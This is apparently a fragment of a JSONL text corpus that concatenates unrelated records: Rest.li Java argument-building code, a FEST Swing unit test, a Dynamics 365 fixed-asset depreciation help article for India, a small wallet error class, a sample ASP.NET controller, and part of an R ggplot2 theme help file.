@SuppressWarnings(\"deprecation\")\n static Object[] buildArgs(final Object[] positionalArguments,\n final ResourceMethodDescriptor resourceMethod,\n final ServerResourceContext context,\n final DynamicRecordTemplate template,\n final ResourceMethodConfig resourceMethodConfig)\n {\n List<Parameter<?>> parameters = resourceMethod.getParameters();\n Object[] arguments = Arrays.copyOf(positionalArguments, parameters.size());\n\n fixUpComplexKeySingletonArraysInArguments(arguments);\n\n boolean attachmentsDesired = false;\n for (int i = positionalArguments.length; i < parameters.size(); ++i)\n {\n Parameter<?> param = parameters.get(i);\n try\n {\n if (param.getParamType() == Parameter.ParamType.KEY || param.getParamType() == Parameter.ParamType.ASSOC_KEY_PARAM)\n {\n Object value = context.getPathKeys().get(param.getName());\n if (value != null)\n {\n arguments[i] = value;\n continue;\n }\n }\n else if (param.getParamType() == Parameter.ParamType.CALLBACK)\n {\n continue;\n }\n else if (param.getParamType() == Parameter.ParamType.PARSEQ_CONTEXT_PARAM || param.getParamType() == Parameter.ParamType.PARSEQ_CONTEXT)\n {\n continue; // don't know what to fill in yet\n }\n else if (param.getParamType() == Parameter.ParamType.HEADER)\n {\n HeaderParam headerParam = param.getAnnotations().get(HeaderParam.class);\n String value = context.getRequestHeaders().get(headerParam.value());\n arguments[i] = value;\n continue;\n }\n //Since we have multiple different types of MaskTrees that can be passed into resource methods,\n //we must evaluate based on the param type (annotation used)\n else if (param.getParamType() == Parameter.ParamType.PROJECTION || param.getParamType() == Parameter.ParamType.PROJECTION_PARAM)\n {\n arguments[i] = context.getProjectionMask();\n continue;\n }\n else if (param.getParamType() == Parameter.ParamType.METADATA_PROJECTION_PARAM)\n {\n arguments[i] = context.getMetadataProjectionMask();\n continue;\n }\n else if (param.getParamType() == Parameter.ParamType.PAGING_PROJECTION_PARAM)\n {\n arguments[i] = context.getPagingProjectionMask();\n continue;\n }\n else if (param.getParamType() == Parameter.ParamType.CONTEXT || param.getParamType() == Parameter.ParamType.PAGING_CONTEXT_PARAM)\n {\n PagingContext ctx = RestUtils.getPagingContext(context, (PagingContext) param.getDefaultValue());\n arguments[i] = ctx;\n continue;\n }\n else if (param.getParamType() == Parameter.ParamType.PATH_KEYS || param.getParamType() == Parameter.ParamType.PATH_KEYS_PARAM)\n {\n arguments[i] = context.getPathKeys();\n continue;\n }\n else if (param.getParamType() == Parameter.ParamType.PATH_KEY_PARAM) {\n Object value = context.getPathKeys().get(param.getName());\n\n if (value != null)\n {\n arguments[i] = value;\n continue;\n }\n }\n else if (param.getParamType() == Parameter.ParamType.RESOURCE_CONTEXT || param.getParamType() == Parameter.ParamType.RESOURCE_CONTEXT_PARAM)\n {\n arguments[i] = context;\n continue;\n }\n else if (param.getParamType() == Parameter.ParamType.VALIDATOR_PARAM)\n {\n RestLiDataValidator validator = new RestLiDataValidator(resourceMethod.getResourceModel().getResourceClass().getAnnotations(),\n resourceMethod.getResourceModel().getValueClass(), resourceMethod.getMethodType());\n arguments[i] = validator;\n continue;\n }\n else if (param.getParamType() == Parameter.ParamType.RESTLI_ATTACHMENTS_PARAM)\n {\n arguments[i] = context.getRequestAttachmentReader();\n attachmentsDesired = true;\n continue;\n }\n else if (param.getParamType() == Parameter.ParamType.UNSTRUCTURED_DATA_WRITER_PARAM)\n {\n // The OutputStream is passed to the resource implementation in a synchronous call. Upon return of the\n // resource method, all the bytes would haven't written to the OutputStream. The EntityStream would have\n // contained all the bytes by the time data is requested. The ownership of the OutputStream is passed to\n // the ByteArrayOutputStreamWriter, which is responsible of closing the OutputStream if necessary.\n ByteArrayOutputStream out = new ByteArrayOutputStream();\n context.setResponseEntityStream(EntityStreams.newEntityStream(new ByteArrayOutputStreamWriter(out)));\n\n arguments[i] = new UnstructuredDataWriter(out, context);\n continue;\n }\n else if (param.getParamType() == Parameter.ParamType.UNSTRUCTURED_DATA_REACTIVE_READER_PARAM)\n {\n arguments[i] = new UnstructuredDataReactiveReader(context.getRequestEntityStream(), context.getRawRequest().getHeader(RestConstants.HEADER_CONTENT_TYPE));\n continue;\n }\n else if (param.getParamType() == Parameter.ParamType.POST)\n {\n // handle action parameters\n if (template != null)\n {\n DataMap data = template.data();\n if (data.containsKey(param.getName()))\n {\n arguments[i] = template.getValue(param);\n continue;\n }\n }\n }\n else if (param.getParamType() == Parameter.ParamType.QUERY)\n {\n Object value;\n if (DataTemplate.class.isAssignableFrom(param.getType()))\n {\n value = buildDataTemplateArgument(context.getStructuredParameter(param.getName()), param,\n resourceMethodConfig.shouldValidateQueryParams());\n }\n else\n {\n value = buildRegularArgument(context, param, resourceMethodConfig.shouldValidateQueryParams());\n }\n\n if (value != null)\n {\n arguments[i] = value;\n continue;\n }\n }\n else if (param.getParamType() == Parameter.ParamType.BATCH || param.getParamType() == Parameter.ParamType.RESOURCE_KEY)\n {\n // should not come to this routine since it should be handled by passing in positionalArguments\n throw new RoutingException(\"Parameter '\" + param.getName() + \"' should be passed in as a positional argument\",\n HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n else\n {\n // unknown param type\n throw new RoutingException(\n \"Parameter '\" + param.getName() + \"' has an unknown parameter type '\" + param.getParamType().name() + \"'\",\n HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n }\n catch (TemplateRuntimeException e)\n {\n throw new RoutingException(\"Parameter '\" + param.getName() + \"' is invalid\", HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n\n try\n {\n // Handling null-valued parameters not provided in resource context or entity body\n // check if it is optional parameter\n if (param.isOptional() && param.hasDefaultValue())\n {\n arguments[i] = param.getDefaultValue();\n }\n else if (param.isOptional() && !param.getType().isPrimitive())\n {\n // optional primitive parameter must have default value or provided\n arguments[i] = null;\n }\n else\n {\n throw new RoutingException(\"Parameter '\" + param.getName() + \"' is required\", HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n }\n catch (ResourceConfigException e)\n {\n // Parameter default value format exception should result in server error code 500.\n throw new RestLiServiceException(HttpStatus.S_500_INTERNAL_SERVER_ERROR,\n \"Parameter '\" + param.getName() + \"' default value is invalid\", e);\n }\n }\n\n //Verify that if the resource method did not expect attachments, and attachments were present, that we drain all\n //incoming attachments and send back a bad request. We must take precaution here since simply ignoring the request\n //attachments is not correct behavior here. Ignoring other request level constructs such as headers or query parameters\n //that were not needed is safe, but not for request attachments.\n if (!attachmentsDesired && context.getRequestAttachmentReader() != null)\n {\n throw new RestLiServiceException(HttpStatus.S_400_BAD_REQUEST,\n \"Resource method endpoint invoked does not accept any request attachments.\");\n }\n return arguments;\n }\n\n /**\n * Because of backwards compatibility concerns, array fields of the key component of a\n * {@link ComplexResourceKey}s in a get request will be represented in the request url in the old\n * style. That is, if an array field has the name \"a\", and contains [1,2] the part of the url\n * representing the serialized array will look like \"a=1&a=2\". However, if the array is a\n * singleton it will just be represented by \"a=1\". Therefore it is not possible to distinguish\n * between a single value itself and an array containing a single value.\n *\n * The purpose of this function is to fix up the singleton array problem by checking to see if the\n * request is a ComplexKey, whether that ComplexKey's key part has an array component, and, if so\n * and the data for that field is NOT a dataList, placing the data into a dataList.\n *\n * @param arguments the final list of all the arguments.\n */\n private static void fixUpComplexKeySingletonArraysInArguments(Object[] arguments)\n {\n for(int i=0; i < arguments.length; i++)\n {\n Object k = arguments[i];\n if (k instanceof ComplexResourceKey)\n {\n ComplexResourceKey<?, ?> complexResourceKey = (ComplexResourceKey<?, ?>)k;\n ComplexResourceKey<?, ?> newKey = QueryParamsDataMap.fixUpComplexKeySingletonArray(complexResourceKey);\n arguments[i] = newKey;\n }\n }\n }\n\n /**\n * Build a method argument from a request parameter that is an array\n *\n * @param context {@link ResourceContext}\n * @param param {@link Parameter}\n * @return argument value in the correct type\n */\n private static Object buildArrayArgument(final ResourceContext context,\n final Parameter<?> param,\n boolean validateParam)\n {\n final Object convertedValue;\n if (DataTemplate.class.isAssignableFrom(param.getItemType()))\n {\n final DataList itemsList = (DataList) context.getStructuredParameter(param.getName());\n convertedValue = Array.newInstance(param.getItemType(), itemsList.size());\n int j = 0;\n for (Object paramData: itemsList)\n {\n final DataTemplate<?> itemsElem = DataTemplateUtil.wrap(paramData, param.getItemType().asSubclass(DataTemplate.class));\n ArgumentUtils.validateDataAgainstSchema(itemsElem.data(), itemsElem.schema(), validateParam);\n Array.set(convertedValue, j++, itemsElem);\n }\n }\n else\n {\n final List<String> itemStringValues = context.getParameterValues(param.getName());\n ArrayDataSchema parameterSchema;\n if (param.getDataSchema() instanceof ArrayDataSchema)\n {\n parameterSchema = (ArrayDataSchema)param.getDataSchema();\n }\n else\n {\n throw new RoutingException(\"An array schema is expected.\",\n HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n\n convertedValue = Array.newInstance(param.getItemType(), itemStringValues.size());\n int j = 0;\n for (String itemStringValue : itemStringValues)\n {\n if (itemStringValue == null)\n {\n throw new RoutingException(\"Parameter '\" + param.getName()\n + \"' cannot contain null values\", HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n try\n {\n Array.set(convertedValue,\n j++,\n ArgumentUtils.convertSimpleValue(itemStringValue, parameterSchema.getItems(), param.getItemType(), false));\n }\n catch (NumberFormatException e)\n {\n Class<?> targetClass = DataSchemaUtil.dataSchemaTypeToPrimitiveDataSchemaClass(parameterSchema.getItems().getDereferencedType());\n // thrown from Integer.valueOf or Long.valueOf\n throw new RoutingException(String.format(\"Array parameter '%s' value '%s' must be of type '%s'\",\n param.getName(),\n itemStringValue,\n targetClass.getName()),\n HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n catch (IllegalArgumentException e)\n {\n // thrown from Enum.valueOf\n throw new RoutingException(String.format(\"Array parameter '%s' value '%s' is invalid\",\n param.getName(),\n itemStringValue),\n HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n catch (TemplateRuntimeException e)\n {\n // thrown from DataTemplateUtil.coerceOutput\n throw new RoutingException(String.format(\"Array parameter '%s' value '%s' is invalid. Reason: %s\",\n param.getName(),\n itemStringValue, e.getMessage()),\n HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n }\n }\n\n return convertedValue;\n }\n\n /**\n * Build a method argument from a request parameter that is NOT backed by a schema, i.e.\n * a primitive or an array\n *\n * @param context {@link ResourceContext}\n * @param param {@link Parameter}\n * @return argument value in the correct type\n */\n private static Object buildRegularArgument(final ResourceContext context,\n final Parameter<?> param,\n boolean validateParam)\n {\n if (!context.hasParameter(param.getName()))\n {\n return null;\n }\n\n final Object convertedValue;\n if (param.isArray())\n {\n convertedValue = buildArrayArgument(context, param, validateParam);\n }\n else\n {\n String value = context.getParameter(param.getName());\n\n if (value == null)\n {\n return null;\n }\n else\n {\n try\n {\n convertedValue =\n ArgumentUtils.convertSimpleValue(value, param.getDataSchema(), param.getType(), validateParam);\n }\n catch (NumberFormatException e)\n {\n Class<?> targetClass = DataSchemaUtil.dataSchemaTypeToPrimitiveDataSchemaClass(param.getDataSchema().getDereferencedType());\n // thrown from Integer.valueOf or Long.valueOf\n throw new RoutingException(String.format(\"Argument parameter '%s' value '%s' must be of type '%s'\",\n param.getName(),\n value,\n targetClass.getName()),\n HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n catch (IllegalArgumentException e)\n {\n // thrown from Enum.valueOf\n throw new RoutingException(String.format(\"Argument parameter '%s' value '%s' is invalid\",\n param.getName(),\n value),\n HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n catch (TemplateRuntimeException e)\n {\n // thrown from DataTemplateUtil.coerceOutput\n throw new RoutingException(String.format(\"Argument parameter '%s' value '%s' is invalid. Reason: %s\",\n param.getName(),\n value, e.getMessage()),\n HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n }\n }\n\n return convertedValue;\n }\n\n private static DataTemplate<?> buildDataTemplateArgument(final Object paramValue,\n final Parameter<?> param,\n final boolean validateParams)\n\n {\n DataTemplate<?> paramRecordTemplate;\n\n if (paramValue == null)\n {\n return null;\n }\n else\n {\n @SuppressWarnings(\"unchecked\")\n final Class<? extends RecordTemplate> paramType = (Class<? extends RecordTemplate>) param.getType();\n /*\n * It is possible for the paramValue provided by ResourceContext to be coerced to the wrong type.\n * If a query param is a single value param for example www.domain.com/resource?foo=1.\n * Then ResourceContext will parse foo as a String with value = 1.\n * However if a query param contains many values for example www.domain.com/resource?foo=1&foo=2&foo=3\n * Then ResourceContext will parse foo as an DataList with value [1,2,3]\n *\n * So this means if the 'final' type of a query param is an Array and the paramValue we received from\n * ResourceContext is not a DataList we will have to wrap the paramValue inside a DataList\n */\n if (AbstractArrayTemplate.class.isAssignableFrom(paramType) && paramValue.getClass() != DataList.class)\n {\n paramRecordTemplate = DataTemplateUtil.wrap(new DataList(Collections.singletonList(paramValue)), paramType);\n }\n else\n {\n paramRecordTemplate = DataTemplateUtil.wrap(paramValue, paramType);\n }\n\n ArgumentUtils.validateDataAgainstSchema(paramRecordTemplate.data(), paramRecordTemplate.schema(), validateParams);\n return paramRecordTemplate;\n }\n }\n\n /**\n * @param request {@link com.linkedin.r2.message.rest.RestRequest}\n * @param recordClass resource value class\n * @param <V> resource value type which is a subclass of {@link RecordTemplate}\n * @return resource value\n */\n public static <V extends RecordTemplate> V extractEntity(final RestRequest request,\n final Class<V> recordClass)\n {\n try\n {\n return DataMapUtils.read(request, recordClass);\n }\n catch (IOException e)\n {\n throw new RoutingException(\"Error parsing entity body: \" + e.getMessage(),\n HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n }\n\n\n /**\n * Convert a DataMap representation of a BatchRequest (string->record) into a Java Map\n * appropriate for passing into application code. Note that compound/complex keys are\n * represented as their string encoding in the DataMap. This method will parse the string\n * encoded keys to compare with the passed in keys from query parameters. During mismatch or\n * duplication of keys in the DataMap, an error will be thrown.\n *\n * @param routingResult {@link RoutingResult} instance for the current request\n * @param data The input DataMap to be converted\n * @param valueClass The RecordTemplate type of the values\n * @param ids The parsed batch ids from the request URI\n * @return A map using appropriate key and value classes, or null if ids is null\n */\n static <R extends RecordTemplate> Map<Object, R> buildBatchRequestMap(RoutingResult routingResult,\n DataMap data,\n Class<R> valueClass,\n Set<?> ids)\n {\n if (ids == null)\n {\n return null;\n }\n\n BatchRequest<R> batchRequest = new BatchRequest<>(data, new TypeSpec<R>(valueClass));\n\n Map<Object, R> result =\n new HashMap<>(CollectionUtils.getMapInitialCapacity(batchRequest.getEntities().size(), 0.75f), 0.75f);\n for (Map.Entry<String, R> entry : batchRequest.getEntities().entrySet())\n {\n Object typedKey = parseEntityStringKey(entry.getKey(), routingResult);\n\n if (result.containsKey(typedKey))\n {\n throw new RoutingException(\n String.format(\"Duplicate key in batch request body: '%s'\", typedKey),\n HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n\n if (!ids.contains(typedKey))\n {\n throw new RoutingException(\n String.format(\"Batch request mismatch. Entity key '%s' not found in the query parameter.\", typedKey),\n HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n\n R value = DataTemplateUtil.wrap(entry.getValue().data(), valueClass);\n result.put(typedKey, value);\n }\n\n if (!ids.equals(result.keySet()))\n {\n throw new RoutingException(\n String.format(\"Batch request mismatch. URI keys: '%s' Entity keys: '%s'\",\n ids.toString(),\n result.keySet().toString()),\n HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n return result;\n }\n\n /**\n * Parses the provided string key value and returns its corresponding typed key instance. This method should only be\n * used to parse keys which appear in the request body.\n *\n * @param stringKey Key string from the entity body\n * @param routingResult {@link RoutingResult} instance for the current request\n * @return An instance of key's corresponding type\n */\n private static Object parseEntityStringKey(final String stringKey, final RoutingResult routingResult)\n {\n ResourceModel resourceModel = routingResult.getResourceMethod().getResourceModel();\n ServerResourceContext resourceContext = routingResult.getContext();\n ProtocolVersion version = resourceContext.getRestliProtocolVersion();\n\n try\n {\n Key primaryKey = resourceModel.getPrimaryKey();\n String altKeyName = resourceContext.getParameter(RestConstants.ALT_KEY_PARAM);\n\n if (altKeyName != null)\n {\n return ArgumentUtils.translateFromAlternativeKey(\n ArgumentUtils.parseAlternativeKey(stringKey, altKeyName, resourceModel, version,\n routingResult.getResourceMethodConfig().shouldValidateResourceKeys()),\n altKeyName, resourceModel);\n }\n else if (ComplexResourceKey.class.equals(primaryKey.getType()))\n {\n ComplexResourceKey<RecordTemplate, RecordTemplate> complexKey = ComplexResourceKey.parseString(stringKey,\n ComplexKeySpec.forClassesMaybeNull(resourceModel.getKeyKeyClass(), resourceModel.getKeyParamsClass()),\n version);\n if (routingResult.getResourceMethodConfig().shouldValidateResourceKeys())\n {\n complexKey.validate();\n }\n return complexKey;\n }\n else if (CompoundKey.class.equals(primaryKey.getType()))\n {\n return ArgumentUtils.parseCompoundKey(stringKey, resourceModel.getKeys(), version,\n routingResult.getResourceMethodConfig().shouldValidateResourceKeys());\n }\n else\n {\n // The conversion of simple keys doesn't include URL decoding as the current version of Rest.li clients don't\n // encode simple keys which appear in the request body for BATCH UPDATE and BATCH PATCH requests.\n Key key = resourceModel.getPrimaryKey();\n return ArgumentUtils.convertSimpleValue(stringKey, key.getDataSchema(), key.getType(),\n routingResult.getResourceMethodConfig().shouldValidateResourceKeys());\n }\n }\n catch (InvalidAlternativeKeyException | AlternativeKeyCoercerException | PathSegment.PathSegmentSyntaxException | IllegalArgumentException e)\n {\n throw new RoutingException(String.format(\"Invalid key: '%s'\", stringKey),\n HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n }\n\n /**\n * A reactive Writer that writes out all the bytes written to a ByteArrayOutputStream as one data chunk.\n */\n private static class ByteArrayOutputStreamWriter implements Writer<ByteString>\n {\n private final ByteArrayOutputStream _out;\n private WriteHandle<? super ByteString> _wh;\n\n ByteArrayOutputStreamWriter(ByteArrayOutputStream out)\n {\n _out = out;\n }\n\n @Override\n public void onInit(WriteHandle<? super ByteString> wh)\n {\n _wh = wh;\n }\n\n @Override\n public void onWritePossible()\n {\n if (_wh.remaining() > 0)\n {\n _wh.write(ByteString.unsafeWrap(_out.toByteArray()));\n _wh.done();\n }\n }\n\n @Override\n public void onAbort(Throwable ex)\n {\n // Closing ByteArrayOutputStream is unnecessary because it doesn't hold any internal resource that needs to\n // be released. However, if the implementation changes to use a different backing OutputStream, this needs to be\n // re-evaluated. OutputStream may need to be called here, after _wh.done(), and in finalize().\n }\n }\n\n static void checkEntityNotNull(DataMap dataMap, ResourceMethod method) {\n if (dataMap == null) {\n throw new RoutingException(\n String.format(\"Empty entity body is not allowed for %s method request\", method),\n HttpStatus.S_400_BAD_REQUEST.getCode());\n }\n }\n}\n"} {"text": "/*\n * Created on Dec 12, 2008\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * \n * http://www.apache.org/licenses/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on\n * an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n * \n * Copyright @2008-2013 the original author or authors.\n */\npackage org.fest.swing.edt;\n\nimport static org.fest.assertions.Assertions.assertThat;\nimport static org.fest.swing.edt.GuiActionRunner.execute;\nimport static org.fest.swing.test.core.CommonAssertions.failWhenExpectingException;\nimport static org.fest.util.Strings.concat;\n\nimport org.junit.Test;\n\n/**\n * Tests for <a href=\"http://code.google.com/p/fest/issues/detail?id=247\" target=\"_blank\">Bug 247</a>.\n * \n * @author Alex Ruiz\n */\npublic class Bug247_NotEnoughInfoInFailureInEDT_Test {\n private static String TEST_NAME = Bug247_NotEnoughInfoInFailureInEDT_Test.class.getName();\n\n @Test\n public void should_show_method_call_in_current_thread_when_failing_in_EDT() {\n boolean testClassInStackTrace = false;\n try {\n execute(new GuiTask() {\n @Override\n protected void executeInEDT() {\n throw new RuntimeException(\"Thrown on purpose\");\n }\n });\n failWhenExpectingException();\n } catch (RuntimeException e) {\n StackTraceElement[] stackTrace = e.getStackTrace();\n StackTraceElement first = stackTrace[0];\n assertThat(first.getClassName()).isEqualTo(concat(TEST_NAME, \"$1\"));\n assertThat(first.getMethodName()).isEqualTo(\"executeInEDT\");\n String expected = Bug247_NotEnoughInfoInFailureInEDT_Test.class.getName();\n for (StackTraceElement element : e.getStackTrace()) {\n if (!expected.equals(element.getClassName())) {\n continue;\n }\n testClassInStackTrace = true;\n break;\n }\n }\n assertThat(testClassInStackTrace).as(\"test class in stack trace\").isTrue();\n }\n}\n"} {"text": "---\n# required metadata\n\ntitle: Create and post depreciation for a fixed asset group by using depreciation books\ndescription: This topic walks you through the process of creating and posting depreciation for a fixed asset group by using depreciation books for India in Microsoft Dynamics 365 Finance.\nauthor: AdamTrukawka\nmanager: AnnBe\nms.date: 01/05/2018\nms.topic: article\nms.prod:\nms.service: dynamics-ax-applications\nms.technology:\n\n# optional metadata\n\n# ms.search.form:\naudience: Application User\n# ms.devlang:\nms.reviewer: kfend\nms.search.scope: Core, Operations\n# ms.tgt_pltfrm:\n# ms.custom:\nms.search.region: India\n# ms.search.industry:\nms.author: atrukawk\nms.search.validFrom: 2017-12-31\nms.dyn365.ops.version: 7.3\n\n---\n\n# Create and post depreciation for a fixed asset group by using depreciation books\n\n[!include [banner](../includes/banner.md)]\n\nYou can calculate depreciation for a group of fixed assets. The calculation is based on the number of days that is defined in the **Asset group depreciation threshold** field on the **Fixed assets parameters** page. The following table shows the various formulas that are used to calculate depreciation for asset groups.\n\n| Type of proposal | Number of days that the asset is used | Formula |\n|--------------------|----------------------------------------------------------------------------------------------|---------|\n| Depreciation | Equal to or more than the number of days in the **Asset group depreciation threshold** field | (Net book value of the fixed asset group on the date of depreciation) × (Rate of depreciation that is defined for the depreciation profile) |\n| Depreciation | Less than the number of days in the **Asset group depreciation threshold** field | (Net book value of the fixed asset) × (Depreciation threshold percentage that is defined in the parameters) × (Rate of depreciation that is defined for the depreciation profile) |\n| Bonus depreciation | Equal to or more than the number of days in the **Asset group depreciation threshold** field | (Cost of acquisition) × (Rate of depreciation that is defined in the depreciation profile) |\n| Bonus depreciation | Less than the number of days in the **Asset group depreciation threshold** field | (Cost of acquisition) × (Depreciation threshold percentage that is defined on the **General ledger parameters** page) × (Rate of depreciation that is defined in the depreciation profile) |\n\n## Example\n\nOn April 1, 2008, you own three fixed assets: Machinery A, Machinery B, and Machinery C. The written-down value of Machinery A is INR 70,000, the written-down value of Machinery B is INR 1,64,000, and the written-down value of Machinery C is INR 84,000. The rate of depreciation is 15 percent. On November 2, 2008, you purchase Machinery D for INR 60,000. Then, on March 15, 2009, you sell Machinery B for INR 1,80,000 and Machinery C for INR 40,000.\n\nThe calculated written-down value of the asset group on March 31, 2009, is INR 1,58,000 (INR 3,18,000 + INR 60,000 – INR 2,20,000). This value is calculated by adding the amount of the new machinery to the sum of the written-down value of Machinery A, Machinery B, and Machinery C, and then deducting the proceeds from the sale of Machinery B and Machinery C.\n\nYou must calculate depreciation on the asset that is used for fewer than 180 days at a rate of 7.5 percent. In this case, the depreciation is INR 4,500 (INR 60,000 × 7.5%). The depreciation on the remaining amount of the written-down value of the asset group is calculated at a rate of 15 percent. In this case, the depreciation is INR 14,700.\n\nOn March 31, 2009, you must deduct the amount of depreciation from the written-down value of the group of assets (INR 1,58,000 – INR 60,000 = INR 98,000) to calculate the written-down value of the asset group on April 1, 2008. In this case, the written-down value is INR 1,38,800 (INR 1,58,000 – INR 19,200).\n\nDepreciation isn't calculated for an asset group that has a written-down value of 0 (zero). If the sale amount of all or some assets in a fixed asset group exceeds the net book value of the group during a year, this situation is considered a short-term capital gain. Therefore, the asset group will have a written-down value of 0 (zero). If the sale amount of all assets in a fixed asset group is less than the net book value of the fixed asset group, this situation is considered a short-term capital loss. Therefore, the asset group will have a written-down value of 0 (zero).\n\nIf a positive or negative amount is entered in the **Debit** field on a journal line, the same amount is updated on the **Fixed asset balances** page. However, if a positive amount is entered in the **Credit** field, the amount is updated as a negative amount. This negative amount is then updated as a positive amount on the **Fixed asset balances** page.\n\n## Create and post fixed asset depreciation in journal\n\n1. Create a new **Fixed asset journal** to post depreciation transaction.\n2. In the **Name** field, select journal for posting depreciation.\n3. Select **Lines** and add new line.\n4. In the **Transaction type** field, select **Depreciation** transaction type.\n5. In the **Account** field, select a fixed asset.\n\n > [!NOTE]\n > The **Fixed asset number** field isn't available in a journal line if the **Asset group depreciation** is set to **Yes** in fixed asset book.\n\n6. In the **Fixed asset group** field, select a fixed asset group.\n7. Enter depreciation amount in the **Credit** field.\n8. Select **Post** to post the journal.\n9. Click **Fixed assets** > **Fixed assets** > Select a fixed asset > **Books** tab on Action Pane.\n10. Click **Transactions** and notice that the depreciation amount was posted for the fixed asset group without the specification of an asset.\n11. Close the **Fixed assets transactions** page.\n12. Click **Inquiry** > **Asset group balances** and notice that the total depreciation amount was posted for the asset group in the selected book.\n\n > [!NOTE]\n > In the journal you can use the **Proposal** function for various proposal types to create transactions for fixed asset groups. Asset group depreciation doesn't apply to proposals of the **Consumption depreciation**, **Revenue recognition of reserves**, or **Extraordinary depreciation** type.\n"} {"text": "/*\n * Created by Michael Carrara <michael.carrara@breadwallet.com> on 7/1/19.\n * Copyright (c) 2019 Breadwinner AG. All right reserved.\n*\n * See the LICENSE file at the project root for license information.\n * See the CONTRIBUTORS file at the project root for a list of contributors.\n */\npackage com.breadwallet.crypto.blockchaindb.errors;\n\n// Could not convert JSON to model\npublic class QueryModelError extends QueryError {\n\n public QueryModelError(String message) {\n super(message);\n }\n}\n"} {"text": "using System.Collections.Generic;\nusing Microsoft.AspNetCore.Mvc;\n\nnamespace Basic.Controllers\n{\n [Route(\"/stores\")]\n [Produces(\"application/json\")]\n public class UnboundParamsController\n {\n\n [HttpPost]\n public int Create(Store store)\n {\n return 1;\n }\n\n [HttpGet]\n public IEnumerable<Store> Search(string[] locations = null)\n {\n return new[]\n {\n new Store { Id = 1, Location = \"Boston\" },\n new Store { Id = 1, Location = \"Seattle\" }\n };\n }\n\n [HttpGet(\"{id}\")]\n public Store GetById(int id)\n {\n return new Store { Id = 1, Location = \"Boston\" };\n }\n\n [HttpPut(\"{id}\")]\n public void Update(int id, Store store)\n {\n }\n\n [HttpDelete(\"{id}\")]\n public void Delete(int id)\n {\n }\n }\n\n public class Store\n {\n public int Id { get; set; }\n\n public string Location { get; set; }\n }\n}"} {"text": "% Generated by roxygen2: do not edit by hand\n% Please edit documentation in R/econ-sans.R\n\\name{theme_ipsum_es}\n\\alias{theme_ipsum_es}\n\\title{A precise & pristine \\link{ggplot2} theme with opinionated defaults and an emphasis on typoghraphy}\n\\usage{\ntheme_ipsum_es(\n base_family = \"EconSansCndReg\",\n base_size = 11.5,\n plot_title_family = \"EconSansCndBol\",\n plot_title_size = 18,\n plot_title_face = \"bold\",\n plot_title_margin = 10,\n subtitle_family = if (.Platform$OS.type == \"windows\") \"EconSansCndLig\" else\n \"EconSansCndLig\",\n subtitle_size = 13,\n subtitle_face = \"plain\",\n subtitle_margin = 15,\n strip_text_family = base_family,\n strip_text_size = 12,\n strip_text_face = \"plain\",\n caption_family = if (.Platform$OS.type == \"windows\") \"EconSansCndLig\" else\n \"EconSansCndLig\",\n caption_size = 9,\n caption_face = \"plain\",\n caption_margin = 10,\n axis_text_size = base_size,\n axis_title_family = base_family,\n axis_title_size = 9,\n axis_title_face = \"plain\",\n axis_title_just = \"rt\",\n plot_margin = margin(30, 30, 30, 30),\n panel_spacing = grid::unit(2, \"lines\"),\n grid_col = \"#cccccc\",\n grid = TRUE,\n axis_col = \"#cccccc\",\n axis = FALSE,\n ticks = FALSE\n)\n}\n\\arguments{\n\\item{base_family, base_size}{base font family and size}\n\n\\item{plot_title_family, plot_title_face, plot_title_size, plot_title_margin}{plot tilte family, face, size and margin}\n\n\\item{subtitle_family, subtitle_face, subtitle_size}{plot subtitle family, face and size}\n\n\\item{subtitle_margin}{plot subtitle margin bottom (single numeric value)}\n\n\\item{strip_text_family, strip_text_face, strip_text_size}{facet label font family, face and size}\n\n\\item{caption_family, caption_face, caption_size, caption_margin}{plot caption family, face, size and margin}\n\n\\item{axis_text_size}{font size of axis text}\n\n\\item{axis_title_family, axis_title_face, axis_title_size}{axis title font family, face and size}\n\n\\item{axis_title_just}{axis title font justificationk one of \\verb{[blmcrt]}}\n\n\\item{plot_margin}{plot margin (specify with \\link[ggplot2:margin]{ggplot2::margin})}\n\n\\item{panel_spacing}{panel spacing (use \\code{unit()})}\n\n\\item{grid_col}{grid color}\n\n\\item{grid}{panel grid (\\code{TRUE}, \\code{FALSE}, or a combination of \\code{X}, \\code{x}, \\code{Y}, \\code{y})}\n\n\\item{axis_col}{axis color}\n\n\\item{axis}{add x or y axes? \\code{TRUE}, \\code{FALSE}, \"\\code{xy}\"}\n\n\\item{ticks}{ticks if \\code{TRUE} add ticks}\n}\n\\description{\nYou should \\code{\\link[=import_econ_sans]{import_econ_sans()}} first and also install the fonts on your\nsystem before trying to use this theme.\n}\n\\details{\nThere is an option \\code{hrbrthemes.loadfonts} which -- if set to \\code{TRUE} -- will\ncall \\code{extrafont::loadfonts()} to register non-core fonts with R PDF & PostScript\ndevices. If you are running under Windows, the package calls the same function\nto register non-core fonts with the Windows graphics device.\n}\n\\section{Why Econ Sans Condensed?}{\n\nIt's free, has tolerable kerning pairs and multiple weights. It's also different\nthan Arial Narrow and the fonts most folks use in ggplot2 charts.\n}\n\n\\examples{\n\\dontrun{\nlibrary(ggplot2)\nlibrary(dplyr)\n\n# seminal scatterplot\nggplot(mtcars, aes(mpg, wt)) +\n geom_point() +\n labs(x=\"Fuel efficiency (mpg)\", y=\"Weight (tons)\",\n title=\"Seminal ggplot2 scatterplot example\",\n subtitle=\"A plot that is only useful for demonstration purposes\",\n caption=\"Brought to you by the letter 'g'\") +\n theme_ipsum_es()\n\n# seminal bar chart\n\n# note: may need to make this font_es on 